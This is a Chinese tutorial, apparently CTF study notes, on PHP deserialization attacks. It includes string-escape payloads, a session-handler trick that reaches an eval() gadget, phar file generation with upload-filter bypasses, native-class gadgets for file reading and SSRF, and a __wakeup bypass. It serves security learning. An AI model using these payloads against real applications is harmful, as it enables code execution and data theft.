首页 > 编程语言 >PHP反序列化

PHP反序列化

时间:2023-08-02 10:12:47浏览次数:74  
标签:__ 字符 序列化 phar PHP password php

PHP反序列化


序列化

  • 序列化的作用

将对象或者数组转化为可存储/传输的字符串

  • 对象序列化
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}
// O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

\x00为空字符,一个空字符长度为 1

public (公有)          // 序列化后格式 属性名
protected (受保护)     // 序列化后格式 \x00*\x00属性名
private (私有的)       // 序列化后格式 \x00类名\x00属性名

反序列化的特性

  1. 反序列化之后的内容为一个对象
  2. 反序列化生成的对象里的值,由反序列化里的值(字符串$a)提供;与原有预定的值无关
  3. 反序列化不触发类的成员方法;需要调用方法后才能触发

反序列化的作用

将序列化后的参数还原成实例化的对象

  1. 反序列化的过程就是碰到 ;}与最前面的 { 配对后,便停止反序列化,后面的数据会直接丢弃。
  2. 反序列化的过程会根据 s 所指定的 字符长度 去读取后边的字符。如果指定的长度错误则反序列化就会失败。
  3. 类中不存在的属性也会进行反序列化。

反序列化漏洞

反序列化漏洞成因:

反序列化过程中,unserialize()接收的值(字符串)可控;通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值;通过调用方法,触发代码执行

魔术方法

什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法。

魔术方法的作用

在特定条件下自动调用相关方法,最终导致触发代码

__construct      //构造函数,在实例化一个对象的时候,首先会去自动执行的一个方法;
__destruct       //析构函数,对象引用完成,或对象被销毁(实例化对象结束后,代码运行完全销毁,触发析构函数,在序列化过程中不会触发,在反序列化之后会触发)
__sleep()       //执行serialize()时,先会调用这个函数
__wakeup()      //执行unserialize()时,先会调用这个函数
__call()        //在对象上下文中调用不可访问的方法时触发
__callStatic()  //在静态上下文中调用不可访问的方法时触发
__get()         //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set()         //用于将数据写入不可访问的属性
__isset()       //在不可访问的属性上调用isset()或empty()触发
__unset()       //在不可访问的属性上使用unset()时触发
__toString()    //把对象当作字符串使用时触发
__invoke()      //当尝试将对象调用为函数时触发
__clone()      //当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

pop链

POP链就是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload

POC编写

POC(全程:Proof of concept)中文译作概念验证。POC是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

构造pop链的方法

字符逃逸

反序列化分隔符

反序列化以;结束,后面的字符串不影响正常的反序列化

属性逃逸

一般在数据先经过一次serialize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有才可能存在反序列化属性逃逸

字符变多

  1. 看过滤,判断字符变多还是字符变少,计算变化个数
  2. 一个字符,构造过滤字符的个数为构造的字符长度
  3. n个字符,构造过滤字符的个数为构造的字符长度/n
<?php
include('flag.php');
function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this -> username = $username;
        $this -> password = $password;
    }
    public function __wakeup(){
        if($this -> password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

这段代码中 $u 必须包含 admin,然后把 admin 替换为 hacker 其次通过判断 password 是否等于 8888888 来判断是否输出 flag

<?php

function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username;
    public $password = '88888888';
    public function __construct($username){
        $this -> username = $username;
    }
}

$u = 'admin';
$data = new ctf($u);

var_dump(filter(serialize($data)));

先给 username 赋值 admin ,然后把 password 改为 88888888,观察一下返回的数据

O:3:"ctf":2:{s:8:"username";s:5:"hacker";s:8:"password";s:8:"88888888";}

经过替换后 admin 变成了 hacker ,多出来了一个字符,但标记长度没有变化,还是 s:5 ,造成了实际长度大于标记长度的情况,从而反序列化失败。

同时我们发现后面我们需要构造的字符 ";s:8:"password";s:8:"88888888";} 长度为 33 ,由于过滤规则每次替换增加 1 个字符,所以我们需要 33admin

<?php

function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:8:"88888888";}';
    public $password = '88888888';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串,

O:3:"ctf":2:{s:8:"username";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:8:"88888888";}";s:8:"password";s:8:"88888888";}

我们发现 hacker 正好是 198 个字符,而 password 也变成了我们想要的 88888888

字符变少

  1. 构造想要的值正常序列化,拿到最终的逃逸字符
  2. 逃逸字符前任意字符+双引号闭合,传入要控制的值
  3. 根据需要逃逸的字符串的长度,传入对应的过滤字符
<?php
include('flag.php');
function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username;
    public $password;
    public function __construct($username, $password){
        $this -> username = $username;
        $this -> password = $password;
    }
    public function __wakeup(){
        if($this -> password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

思路同上,先输出一下 serialize 后的数据

O:3:"ctf":2:{s:8:"username";s:4:"hack";s:8:"password";s:8:"88888888";}

发现 admin 变成了 hack ,但是标记长度没有变化,还是 s:4 ,造成了实际长度小于标记长度的情况,我们每增加一个 admin 匹配替换后就减少 1 个字符,我们要做的就是让他往后去吞噬一些我们构造的代码,这样就可以构造出我们想要的代码了。

这样是我们想要构造的代码

";s:8:"password";s:8:"88888888";}

我们把它传入 password 中观察返回数据

<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'admin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

所以我们需要吞噬的字符如下

";s:8:"password";s:33:"

由于每次匹配替换只会减少一个字符,所以我们需要构造一个长度为 23 的字符串,这样就可以吞噬到我们想要的代码了。

<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

O:3:"ctf":2:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

session反序列化

PHP在 session 存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

php.ini 中通常存在以下配置项:

  • session.save_path 设置session的存储路径
  • session.save_handler 设定用户自定义存储函数
  • session.auto_start 指定会话模块是否在请求开始时启动一个会话
  • session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用 php

不同的引擎所对应的 session 的存储方式不相同。

<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");

session_start();
$_SESSION['name'] = 'iami233';
var_dump($_SESSION);
引擎 存储方式 示例
php 键名 + 竖线 + 经过 serialize() 函数序列化处理的值 name
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值 names:7:"iami233";
php_serialize 经过 serialize() 函数序列化处理的数组 a:1:{s:4:"name";s:7:"iami233";}

举个例子

我们新建一个 1.php 文件,使用 php_serialize 引擎

<?php
ini_set("session.serialize_handler", "php_serialize");

session_start();
$_SESSION['name'] = '|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}';

访问 localhost/1.php 后生成的 session 文件内容文件为:

a:1:{s:4:"name";s:44:"|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}
php` 序列化引擎以 `|` 作为 `key` 和 `value` 的分隔符,只反序列化 `|` 后面的内容 所以我们需要在前面加个 `|`,这样 `a:1:{s:4:"name";s:44:"` 被当做了 `key` ,而 `O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}` 被当做了 `value

再新建一个 2.php 文件,不声明引擎的话,默认是 php

<?php
session_start();
class Name {
    public $rce; 
    function __destruct() {
         eval($this->rce);
    }
}
?>

此时访问 localhost/2.php 即可执行 phpinfo() 函数

phar反序列化漏洞

phar是PHP类似于jar的一种打包文件。

对于PHP5.3或更高版本,phar后缀文件默认开启

phar产生反序列化的原因

在使用phar://协议读取文件时,文件会被解析成phar

解析过程中会触发php_var_unserialize()函数对meta-data的操作,造成反序列化。

文件包含:phar伪协议,可读取.phar文件

Pharphp压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file://php:// 等伪协议类似,也是一种流包装器。

php中一些常见的流包装器如下:

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

要想使用 Phar 类里的方法,必须将 php.ini 文件中的 phar.readonly 配置项配置为 0Off(默认为 On

phar结构

stub phar 文件标识,格式为xxx<?php xxx;__HALT_COMPILER(); ?>;(头部信息)

manifest:压缩文件的属性等信息,以序列化存储

content:被压缩文件的内容

signature (可空):签名,放在末尾。

phar利用条件

  • phar文件能上传到服务器端
  • 要有可用反序列化魔术方法作为跳板
  • 要有文件操作函数,如file_exists(),fopen,file_get_contents()
  • 文件操作函数参数可控,且:、/、phar等特殊字符没有被过滤

生成phar文件

编辑.php文件如下

<?php
    //一个类
    class Test {
    	public $testdata;
    	public function test_it() {
            echo 1;
        }
	}
	//类的实例化对象
    $obj = new Test();
	
	//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
	@unlink("phar.phar");

	//生成phar时,文件的后缀名必须为phar
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
	//设置stub
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
	//将自定义的meta-data存入manifest,这个是利用的重点
    $phar->setMetadata($obj); 
	//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
    $phar->addFromString("test.txt", "test"); 
    //签名自动计算
    $phar->stopBuffering();
?>

假设上述程序代码保存为1.php

那么只需要执行(前提是php已经设置于环境变量中,或者跑到php程序目录打开命令行)

php 1.php

即可生成phar.phar

可用010打开查看

当环境限制了phar不能开头,可以使用以下伪协议绕过

compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

GIF格式验证可以通过在文件头部添加GIF89a绕过

1、$phar->setStub(“GIF89a”.“”); //设置stub

2、生成一个phar.phar,修改后缀名为phar.gif

除了 file_put_contents 外,会把 phar 反序列化的函数还有:

受影响的函数列表
filename filectime file_exists file_get_contents
file_put_contents file filegroup fopen
fileinode filemtime fileowner fileperms
is_dir is_executable is_file is_link
is_readable is_writable is_writeable parse_ini_file
copy unlink stat readfile

原生类

不想做笔记了,去看大佬博客,一天看八百遍,反复温习

php原生类

Error/Exception XSS

<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
echo $a;

SplFileObject 读文件

<?php
$a = new SplFileObject("flag.txt");
echo $a;

DirectoryIterator 遍历目录

<?php
$a = new DirectoryIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

FilesystemIterator 遍历目录

<?php
$a = new FilesystemIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

SoapClient SSRF

  1. 需要有 soap 扩展,需要手动开启该扩展。
  2. 需要调用一个不存在的方法触发其 __call() 函数。
  3. 仅限于 http / https 协议

利用原生类 SoapClient 实现 SSRF ,构造 SoapClient 的类对象,需要有两个参数字符串 $wsdl 和数组 $options

public __construct(?string $wsdl, array $options = [])

tricks

php7.1+反序列化对类属性不敏感

我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00

但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00也依然会输出abc

<?php
class test{
    protected $a;
    public function __construct(){
        $this->a = 'abc';
    }
    public function  __destruct(){
        echo $this->a;
    }
}
unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');

绕过__wakeup(CVE-2016-7124)

版本:

PHP5 < 5.6.25

PHP7 < 7.0.10

利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

绕过部分正则

匹配序列化字符串是否含有o,c,:冒号之后\d是匹配数字不区分大小写,我们可以利用+绕过

preg_match('/^O:\d+/')

^O,匹配序列化字符串是否是对象字符串开头

  • 利用加号绕过(注意在url里传参时+要编码为%2B

  • 还可以用数组绕过,serialize(array(a ) ) ; / / a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的$a的析构)

利用引用

<?php
class test{
    public $a;
    public $b;
    public function __construct(){
        $this->a = 'abc';
        $this->b= &$this->a;
    }
    public function  __destruct(){

        if($this->a===$this->b){
            echo 666;
        }
    }
}
$a = serialize(new test());

上面这个例子将$b设置为$a的引用,可以使$a永远与$b相等

16进制绕过字符的过滤

O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。

标签:__,字符,序列化,phar,PHP,password,php
From: https://www.cnblogs.com/solitude0-c/p/17599688.html

相关文章

  • PHPJSON数据格式常见应用及实例解析
    PHPJSON数据格式常见应用及实例解析随着Web应用的兴起和普及,数据的传输和处理已经成为Web开发中不可或缺的一部分。PHP作为一种广泛使用的服务器端编程语言,对于数据的处理和传输也有着非常丰富的支持。其中,JSON数据格式已经成为Web开发中最常用的数据格式之一。本文将结合实例,介......
  • PHPGD图像复制教程
    PHPGD图像复制教程在PHP的图像处理中,复制图像是一个非常常见的操作。不仅可以用于缩略图的生成,还可以用于其他方面的图像处理。本文将教你如何使用PHPGD库来复制图像,以及如何优化复制过程以提高性能和图像质量。PHPGD图像复制教程一、使用imagecopy函数复制图像imagecopy函数......
  • PHPGrafika 如何实现圆角图片
    PHPGrafika如何实现圆角图片在网站开发中,圆角图片是非常常见的一种设计元素。使用PHPGrafika库可以很方便的实现圆角图片的制作。本文将介绍如何使用PHPGrafika库制作圆角图片的方法。PHPGrafika如何实现圆角图片PHPGrafika是一款PHP图像处理库,它提供了许多图像处理功......
  • PHPGET请求的加密方法简介
    PHPGET请求的加密方法简介在Web开发中,经常会使用GET请求来获取远程服务器上的数据。然而,GET请求的数据通过URL传递,容易被拦截者获取并窃取其中的敏感信息。为了解决这个问题,我们可以采用加密方法来保护数据的安全性。PHPGET请求的加密方法简介下面介绍几种PHPGET请求的加密方法......
  • PHPHook框架详解 实现代码注入和拦截的利器
    PHPHook框架详解实现代码注入和拦截的利器PHPHook框架是一种具有强大功能的代码注入和拦截工具,它被广泛应用于各种Web开发中。本文将为大家详细介绍PHPHook框架的实现原理,以及如何利用该框架实现代码注入和拦截。PHPHook框架详解实现代码注入和拦截的利器一、PHPHook框架简介......
  • PHPHashtable 如何优化数组查找和排序
    PHPHashtable如何优化数组查找和排序PHP是一种高度流行的编程语言,被广泛用于web开发。它有很多的优点,例如易于学习、跨平台、简单易用的语法等等。而在PHP中,数组是一种非常常用的数据结构,它可以存储一组有序的数据,方便我们进行各种操作。PHPHashtable如何优化数组查找和排......
  • [PHP]PDO的dsn对mysql的连接影响
    dsn的host字段中,'localhost'是一个影响其连接协议的值,当host取值'localhost',PDO会坚持使用unixsocket的方式去连接数据库:'mysql:host=localhost;dbname=mydb'以上配置,PDO会寻找php.ini中的pdo_mysql.default_socket值,尝试运用此路径通过unixsocket来连接mysql,如果此配置值不......
  • PHPImagick图像处理常用操作大全
    PHPImagick图像处理常用操作大全PHPImagick是流行的PHP图像处理扩展,它提供了丰富的图像处理方法,可以用于处理图片尺寸、质量、颜色、效果等等。在本文中,我们将探讨一些常用的PHPImagick图像处理操作,包括缩放、裁剪、调整颜色、添加水印、添加滤镜等等。PHPImagick图像处理常用操......
  • PHPMySQL防注入 如何使用安全的函数保护数据库
    PHPMySQL防注入如何使用安全的函数保护数据库在进行PHP编程开发时,安全性一直是开发人员必须注意的问题,其中最重要的是防止SQL注入攻击。SQL注入攻击是指通过输入恶意代码来攻击数据库的一种方式,攻击者通过输入SQL语句来绕过程序的安全机制,达到控制和操作数据库的目的。为了避免......
  • PHPlstat函数的使用方法与实例解析
    PHP是一种广泛应用于Web开发的编程语言,它的开放性、通用性和易用性使其成为了Web领域中的主流语言。在PHP编程中,我们经常需要使用到一些函数来完成任务,其中非常重要的一个函数就是“PHPlstat”。这个函数可以用来获取文件的相关信息,本文将介绍PHPlstat函数的使用方法以及一些实例......